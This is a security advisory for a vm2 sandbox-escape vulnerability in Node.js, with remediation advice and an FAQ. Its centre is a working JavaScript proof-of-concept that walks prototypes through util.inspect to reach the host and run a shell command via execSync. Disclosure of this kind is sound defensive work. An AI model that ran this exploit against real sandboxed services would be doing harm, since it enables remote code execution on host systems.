CVE-2026-44006: vm2: Sandbox Escape
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', };
let sym;
obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, });
obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('childprocess') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, };
WebAssembly.compileStreaming(obj).catch(() => {});
Impact Sandbox Escape -> RCE
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.0 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44006?
CVE-2026-44006 is considered a critical vulnerability due to its potential to access arbitrary prototypes.
How do I fix CVE-2026-44006?
To fix CVE-2026-44006, update the 'vm2' package to version 3.11.0 or later.
Which versions of 'vm2' are affected by CVE-2026-44006?
Versions of 'vm2' up to and including 3.10.5 are affected by CVE-2026-44006.
What is 'BaseHandler.getPrototypeOf' in relation to CVE-2026-44006?
'BaseHandler.getPrototypeOf' is a function that can be exploited in CVE-2026-44006 to obtain arbitrary prototypes.
Is CVE-2026-44006 a remote code execution vulnerability?
CVE-2026-44006 may allow attackers to execute code remotely by manipulating access to prototypes.